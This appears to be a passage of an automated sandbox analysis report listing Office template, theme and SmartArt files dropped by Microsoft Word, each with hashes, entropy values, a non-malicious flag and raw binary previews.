Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.i.c.t.u.r.e.F.r.a.m.e...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD8A5B.tmp\PictureFrame.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4326
Entropy (8bit):	7.821066198539098
Encrypted:	false
SSDEEP:	96:+fF+Jrp7Yo5hnJiGa24TxEcpUeONo1w2NFocy2LQi33Z:2+f7YuhJdJ4TxEcmKwGkk3Z
MD5:	D32E93F7782B21785424AE2BEA62B387
SHA1:	1D5589155C319E28383BC01ED722D4C2A05EF593
SHA-256:	2DC7E71759D84EF8BB23F11981E2C2044626FEA659383E4B9922FE5891F5F478
SHA-512:	5B07D6764A6616A7EF25B81AB4BD4601ECEC1078727BFEAB4A780032AD31B1B26C7A2306E0DBB5B39FC6E03A3FC18AD67C170EA9790E82D8A6CEAB8E7F564447
Malicious:	false
Preview:	PK.........n.A...#............docProps/thumbnail.jpgz.........{4.i....1.n.v)..#.\....A+..Q(."..D.......#Q)...SQ....2c.ei.JC...N.{......}.s.s..y>....d.(:.;.....q........$.OBaPbI..(.V...o.....'..b..edE.J.+.....".tq..dqX.......8...CA.@..........0.G.O.$Ph...%i.Q.CQ.>.%!j..F..."?@.1J.Lm$..`..oO...}..6......(%....^CO..p......-,.....w8..t.k.#....d..'...O...8....s1....z.r...rr...,(.)....]Q]S.{X.SC{GgWw..O....X./FF9._&..L.....[z..^......C...qI.f... .Hq....d*.d..9.N{{.N.6..6)..n<...iU]3.._.....%./.?......(H4<.....}..%..Z..s...C@.d>.v...e.'WGW.....J..:....`....n..6.....]W~/.JX.Qf..^...}...._Sg.-.p..a..C_:..F..E.....k.H..........-Bl$._5...B.w2e...2...c2/y3.U...7.8[.S}H..r/..^...g...\|...l..\M..8p$]..poX-/.2}..}z\.\|.d<T.....1....2...{P...+Y...T...!............p..c.....D..o..%.d.f.~.;.;=4.J..]1"("`......d.0.....L.f0.l..r8..M....m,.p..Y.f....\2.q. ...d9q....P...K..o!..#o...=.........{.p..l.n...........&..o...!J..\|)..q4.Z.b..PP....U.K..\|.i.$v

C:\Users\user\AppData\Local\Temp\TCD8A5C.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.4670546921349774
Encrypted:	false
SSDEEP:	6:fxnxUX0XPYDxUloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXPYDCloGHmD0+dAH/luWvv
MD5:	3D52060B74D7D448DC733FFE5B92CB52
SHA1:	3FBA3FFC315DB5B70BF6F05C4FF84B52A50FCCBC
SHA-256:	BB980559C6FC38B703D1E9C41720D5CE8D00D2FF86D4F25136DB02B1E54B1518
SHA-512:	952EF139A72562A528C1052F1942DAE1C0509D67654BF5E7C0602C87F90147E8EE9E251D2632BCB5B511AB2FF8A3734293D0A4E3DBD3D187F5E3C042685F9A0C
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.A.l.t.e.r.n.a.t.i.n.g.A.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD8A5C.tmp\ThemePictureAlternatingAccent.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	5630
Entropy (8bit):	7.87271654296772
Encrypted:	false
SSDEEP:	96:n5ni6jKZWsD+QJaUQ7R6qYFF5QS+BEgeJam6S7ZCHuKViGa2CnnLYLt/ht:nccqxIBdQ1QS+uDJanS7ZCHHVdJCnLY5
MD5:	2F8998AA9CF348F1D6DE16EAB2D92070
SHA1:	85B13499937B4A584BEA0BFE60475FD4C73391B6
SHA-256:	8A216D16DEC44E02B9AB9BBADF8A11F97210D8B73277B22562A502550658E580
SHA-512:	F10F7772985EDDA442B9558127F1959FF0A9909C7B7470E62D74948428BFFF7E278739209E8626AE5917FF728AFB8619AE137BEE2A6A4F40662122208A41ABB2
Malicious:	false
Preview:	PK...........<..W8...j.......diagrams/layout1.xmlz........]......Hy..{...n .l.:.D.vvW..s....-a..fg&.}.\..+......4M..'=...(._.U]U......_.....U...k}.y.,......C..._^.......w/."7....v..Ea........Q..u..D{..{v.x.]....AtB15u..o...w..o.1...f.L...I<[zk7..7^..,.h.&l3...#..)..'H..d.r.#w=b...Ocw.y.&.v..t.>.s..m^M7..8I?o7................H...b....Qv.;'..%.f..#vR....V.H.),g..`...)(..m...[l...b...,.....U...Q.{.y.y.....G.I.tT.n..N.....A.tR..tr....i.<.......,.n:.#.A..a!X.......DK..;v..._M..lSc../n...v.....}.....I.\|8.!b.C..v..\|.....4l..n.;<9.i./..}!&2.c/.r...>.X02[..\|.a.-.....$#-....>...{.M].>3.,\o.x....X%;.F.k.)*".I8<.0..#......?.h..-..O.2.B.s..v....{Abd...h0....H..I.. ...%...$1.Fyd..Y....U...S.Y.#.V.....TH(....%..nk.3Y.e.m.-.S..Q...j.Ai..E..v......4.t.\|..&"...{..4.!.h.....C.P.....W...d[.....U<Yb;B.+W.!.@B....!.=......b"...Y.N;.#..Q...0G.lW...]7:...#9!z......\|f..r..x.....t........`.uL1u.:.....U.D.n.<Q.[%...ngC./..\|...!..q;;.w.".D..lt.".l.4".mt...E..mt

C:\Users\user\AppData\Local\Temp\TCD8A6D.tmp\CircleProcess.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	16806
Entropy (8bit):	7.9519793977093505
Encrypted:	false
SSDEEP:	384:eSMjhqgJDGwOzHR3iCpK+QdLdfufFJ9aDn9LjDMVAwHknbz7OW:eSkhqglGwERSAHQdLhDn9AKokv7H
MD5:	950F3AB11CB67CC651082FEBE523AF63
SHA1:	418DE03AD2EF93D0BD29C3D7045E94D3771DACB4
SHA-256:	9C5E4D8966A0B30A22D92DB1DA2F0DBF06AC2EA75E7BB8501777095EA0196974
SHA-512:	D74BF52A58B0C0327DB9DDCAD739794020F00B3FA2DE2B44DAAEC9C1459ECAF3639A5D761BBBC6BDF735848C4FD7E124D13B23964B0055BB5AA4F6AFE76DFE00
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........Ul.<..<"I5...&......diagrams/layout1.xml.}.r.I..s........~Y.f.gzfv......E."w.K..J5m.e...4.0..Q... A.!...%...<...3.......O.......t~.u{...5.G......?,.........N......L......~.:....^,..r=./~7_..8............o.y......oo.3.f........f.......r.7../....qrr.v9.......,?..._O.....?9.O~]..zv.I'.W..........;..\..~....../........?~..n.....\}pt.........b,~...;>.=;>:..u.....?.......2]..]....i......9..<.p..4D..

C:\Users\user\AppData\Local\Temp\TCD8A6D.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4720677950594836
Encrypted:	false
SSDEEP:	6:fxnxUXOu9+MlWlk2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnycMlWlzGHmD0+dAH/luWvv
MD5:	D04EC08EFE18D1611BDB9A5EC0CC00B1
SHA1:	668FF6DFE64D5306220341FC2C1353199D122932
SHA-256:	FA60500F951AFAF8FFDB6D1828456D60004AE1558E8E1364ADC6ECB59F5450C9
SHA-512:	97EBCCAF64FA33238B7CFC0A6D853EFB050D877E21EE87A78E17698F0BB38382FCE7F6C4D97D550276BD6B133D3099ECAB9CFCD739F31BFE545F4930D896EEC3
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.i.r.c.l.e.P.r.o.c.e.s.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD8A8E.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.438490642908344
Encrypted:	false
SSDEEP:	6:fxnxUXZlaWimoa2nRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxnyplagN2RGHmD0wbnKYZAH+Vwv
MD5:	0F98498818DC28E82597356E2650773C
SHA1:	1995660972A978D17BC483FCB5EE6D15E7058046
SHA-256:	4587CA0B2A60728FF0A5B8E87D35BF6C6FDF396747E13436EC856612AC1C6288
SHA-512:	768562F20CFE15001902CCE23D712C7439721ECA6E48DDDCF8BFF4E7F12A3BC60B99C274CBADD0128EEA1231DB19808BAA878E825497F3860C381914C21B46FF
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .E.l.e.m.e.n.t. .d.e.s.i.g.n. .s.e.t...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCD8A8E.tmp\Element design set.dotx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	34415
Entropy (8bit):	7.352974342178997
Encrypted:	false
SSDEEP:	768:ev13NPo9o5NGEVIi3kvH+3SMdk7zp3tE2:ev13xoOE+R3BkR7
MD5:	7CDFFC23FB85AD5737452762FA36AAA0
SHA1:	CFBC97247959B3142AFD7B6858AD37B18AFB3237
SHA-256:	68A8FBFBEE4C903E17C9421082E839144C205C559AFE61338CBDB3AF79F0D270
SHA-512:	A0685FD251208B772436E9745DA2AA52BC26E275537688E3AB44589372D876C9ACE14B21F16EC4053C50EB4C8E11787E9B9D922E37249D2795C5B7986497033E
Malicious:	false
Preview:	PK.........Y5B#.W ............[Content_Types].xml ...(...................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG=.HK...........&o[B....z.7.o...&.......[.oL_7cuN..&e..ccAo...YW......8...Y>.&DVy...-&....Y.....4.u.., !po....9W....g..F...+1....d,'...L.M[-~.Ey. ......[

C:\Users\user\AppData\Local\Temp\TCD8ADF.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	260
Entropy (8bit):	3.494357416502254
Encrypted:	false
SSDEEP:	6:fxnxUX0XPE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXPGHmD0+dAH/luWvv
MD5:	6F8FE7B05855C203F6DEC5C31885DD08
SHA1:	9CC27D17B654C6205284DECA3278DA0DD0153AFF
SHA-256:	B7F58DF058C938CCF39054B31472DC76E18A3764B78B414088A261E440870175
SHA-512:	C518A243E51CB4A1E3C227F6A8A8D9532EE111D5A1C86EBBB23BD4328D92CD6A0587DF65B3B40A0BE2576D8755686D2A3A55E10444D5BB09FC4E0194DB70AFE6
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.G.r.i.d...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD8ADF.tmp\ThemePictureGrid.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6193
Entropy (8bit):	7.855499268199703
Encrypted:	false
SSDEEP:	192:WavHMKgnU2HUGFhUnkbOKoztj1QfcnLYut3d8:YKeUlGXUnC+HQSMp
MD5:	031C246FFE0E2B623BBBD231E414E0D2
SHA1:	A57CA6134779D54691A4EFD344BC6948E253E0BA
SHA-256:	2D76C8D1D59EDB40D1FBBC6406A06577400582D1659A544269500479B6753CF7
SHA-512:	6A784C28E12C3740300883A0E690F560072A3EA8199977CBD7F260A21E8346B82BA8A4F78394D3BB53FA2E98564B764C2D0232C40B25FB6085C36D20D70A39D1
Malicious:	false
Preview:	PK........X..<..Zn\|...........diagrams/layout1.xmlz........]..H.}......M,l#g.j:.G-eu.S=.$......T_6..I...6...d.NJ....r.p.p.........\|.z.K.M..L.T.(........<..ks.......o...t}...P...7...`.+.[...H..._..X.u.....N....n....n\|..=.....K.:.G7.u....."g.n.h...O.,...c...f.b.P......>[l.....j..?..mxk..n..\|A...,\o..j..wQ.....lw.~].Lh..{3Y..D..5.Y..n..Mh.r..J....6.<.kO...Alv.._.qdKQ.5...-FMN......;.~..._..pv..&...%"Nz].n............vM.`..k..a.:.f]...a........y.....g0..`........\|V...Yq.....#...8....n..i7w<2Rp...R.@.]..%.b%..~...a..<.j...&....?...Qp..Ow\|&4>...d.O.\|.\|...Fk;t.P[A..i.6K.~...Y.N..9......~<Q..f...i.....6..U...l. ..E..4$Lw..p..Y%NR..;...B\|B.U...\e......S...=...B{A.]..*....5Q.....FI..w....q.s{.K....(.]...HJ9........(.....[U\|.....d71.Vv.....a.8...L.....k;1%.T.@+..uv.~v.]`.V....Z.....`.M.@..Z\|.r........./C..Z.n0.....@.YQ.8..q.h.....c.%...p..<..zl.c..FS.D..fY..z..=O..%L..MU..c.:.~.....F]c......5.=.8.r...0....Y.\o.o....U.~n...`...Wk..2b......I~

C:\Users\user\AppData\Local\Temp\TCD8B00.tmp\Wood_Type.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1649585
Entropy (8bit):	7.875240099125746
Encrypted:	false
SSDEEP:	24576:L368X6z95zf5BbQ6U79dYy2HiTIxRboyM/LZTl5KnCc:r68kb7UTYxGIxmnp65
MD5:	35200E94CEB3BB7A8B34B4E93E039023
SHA1:	5BB55EDAA4CDF9D805E36C36FB092E451BDDB74D
SHA-256:	6CE04E8827ABAEA9B292048C5F84D824DE3CEFDB493101C2DB207BD4475AF1FD
SHA-512:	ED80CEE7C22D10664076BA7558A79485AA39BE80582CEC9A222621764DAE5EFA70F648F8E8C5C83B6FE31C2A9A933C814929782A964A47157505F4AE79A3E2F9
Malicious:	false
Preview:	PK..........1A..u._....P......[Content_Types].xml..Ms.@.....!...=.7....;a.h.&Y..l..H~..`;...d..g/..e..,M..C...5...#g/."L..;...#. ]..f...w../._.2Y8..X.[..7._.[...K3..#.4......D.]l.?...~.&J&....p..wr-v.r.?...i.d.:o....Z.a\|._....\|.d...A....A".0.J......nz....#.s.m.......(.]........~..XC..J......+.\|...(b}...K!._.D....uN....u..U..b=.^..[...f...f.,...eo..z.8.mz....."..D..SU.}ENp.k.e}.O.N....:^....5.d.9Y.N..5.d.q.^s..}R...._E..D...o..o...o...f.6;s.Z]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...S.....0.zN.... ...>..>..>..>..>..>..>........e...,..7...F(L.....>.ku...i...i...i...i...i...i...i........yi.....G...1.....j...r.Z]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o\|^Z....Q}.;.o...9.Z..\.V...............................jZ......k.pT...0.zN.... ...>..>..>..>..>..>..>........e...,..7...f(L.....>.ku...i...i...i...i...i...i...i........yi.......n.....{.._f...0...PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...

C:\Users\user\AppData\Local\Temp\TCD8B00.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.5552837910707304
Encrypted:	false
SSDEEP:	6:Q+sxnxUXtLARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnygymD0wbnKNAH/lMz1
MD5:	5728F26DF04D174DE9BDFF51D0668E2A
SHA1:	C998DF970655E4AF9C270CC85901A563CFDBCC22
SHA-256:	979DAFD61C23C185830AA3D771EDDC897BEE87587251B84F61776E720ACF9840
SHA-512:	491B36AC6D4749F7448B9A3A6E6465E8D97FB30F33EF5019AF65660E98F4570711EFF5FC31CBB8414AD9355029610E6F93509BC4B2FB6EA79C7CB09069DE7362
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .W.o.o.d._.T.y.p.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD8B31.tmp\View.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	486596
Entropy (8bit):	7.668294441507828
Encrypted:	false
SSDEEP:	6144:A+JBmUx0Zo24n8z/2NSYFl2qGBuv8p6+LwwYmN59wBttsdJrmXMlP1NwQoGgeL:fNgxz/g5z2BT6+Eu0ntMcczNQG5L
MD5:	0E37AECABDB3FDF8AAFEDB9C6D693D2F
SHA1:	F29254D2476DF70979F723DE38A4BF41C341AC78
SHA-256:	7AC7629142C2508B070F09788217114A70DE14ACDB9EA30CBAB0246F45082349
SHA-512:	DE6AFE015C1D41737D50ADD857300996F6E929FED49CB71BC59BB091F9DAB76574C56DEA0488B0869FE61E563B07EBB7330C8745BC1DF6305594AC9BDEA4A6BF
Malicious:	false
Preview:	PK.........V'BE,.{....#P......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Local\Temp\TCD8B31.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.535303979138867
Encrypted:	false
SSDEEP:	6:Q+sxnxUX3IlVARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnynG6ymD0wbnKNAH/lMz1
MD5:	35AFE8D8724F3E19EB08274906926A0B
SHA1:	435B528AAF746428A01F375226C5A6A04099DF75
SHA-256:	97B8B2E246E4DAB15E494D2FB5F8BE3E6361A76C8B406C77902CE4DFF7AC1A35
SHA-512:	ACF4F124207974CFC46A6F4EA028A38D11B5AF40E55809E5B0F6F5DABA7F6FC994D286026FAC19A0B4E2311D5E9B16B8154F8566ED786E5EF7CDBA8128FD62AF
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.i.e.w...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD8B74.tmp\Frame.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	523048
Entropy (8bit):	7.715248170753013
Encrypted:	false
SSDEEP:	6144:WfmDdN6Zfv8q5rnM6vZ02PtMZRkfW5ipbnMHxVcsOWrCMxy0sD/mcKb4rYEY:xDdQXBrMi2YtggW5ObnMH1brJpUmBU0N
MD5:	C276F590BB846309A5E30ADC35C502AD
SHA1:	CA6D9D6902475F0BE500B12B7204DD1864E7DD02
SHA-256:	782996D93DEBD2AF9B91E7F529767A8CE84ACCC36CD62F24EBB5117228B98F58
SHA-512:	B85165C769DFE037502E125A04CFACDA7F7CC36184B8D0A54C1F9773666FFCC43A1B13373093F97B380871571788D532DEEA352E8D418E12FD7AAD6ADB75A150
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCD8B74.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5159096381406645
Encrypted:	false
SSDEEP:	6:Q+sxnxUXQIa3ARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnygIaqymD0wbnKNAH/lMz1
MD5:	71CCB69AF8DD9821F463270FB8CBB285
SHA1:	8FED3EB733A74B2A57D72961F0E4CF8BCA42C851
SHA-256:	8E63D7ABA97DABF9C20D2FAC6EB1665A5D3FDEAB5FA29E4750566424AE6E40B4
SHA-512:	E62FC5BEAEC98C5FDD010FABDAA8D69237D31CA9A1C73F168B1C3ED90B6A9B95E613DEAD50EB8A5B71A7422942F13D6B5A299EB2353542811F2EF9DA7C3A15DC
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .F.r.a.m.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD8B86.tmp\Parcel.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	608122
Entropy (8bit):	7.729143855239127
Encrypted:	false
SSDEEP:	6144:Ckl6KRKwg9jf2q/bN69OuGFlC/DUhq68xOcJzGYnTxlLqU8dmTW:8yKwgZ2qY9kA7Uhq68H3ybmq
MD5:	8BA551EEC497947FC39D1D48EC868B54
SHA1:	02FA15FDAF0D7E2F5D44CAE5FFAE49E8F91328DF
SHA-256:	DB2E99B969546E431548EBD58707FC001BBD1A4BDECAD387D194CC9C6D15AC89
SHA-512:	CC97F9B2C83FF7CAC32AB9A9D46E0ACDE13EECABECD653C88F74E4FC19806BB9498D2F49C4B5581E58E7B0CB95584787EA455E69D99899381B592BEA177D4D4B
Malicious:	false
Preview:	PK.........LGE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK.........LG.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCD8B86.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.516359852766808
Encrypted:	false
SSDEEP:	6:Q+sxnxUXKwRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6qymD0wbnKNAH/lMz1
MD5:	960E28B1E0AB3522A8A8558C02694ECF
SHA1:	8387E9FD5179A8C811CCB5878BAC305E6A166F93
SHA-256:	2707FCA8CEC54DF696F19F7BCAD5F0D824A2AC01B73815DE58F3FCF0AAB3F6A0
SHA-512:	89EA06BA7D18B0B1EA624BBC052F73366522C231BD3B51745B92CF056B445F9D655F9715CBDCD3B2D02596DB4CD189D91E2FE581F2A2AA2F6D814CD3B004950A
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.a.r.c.e.l...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

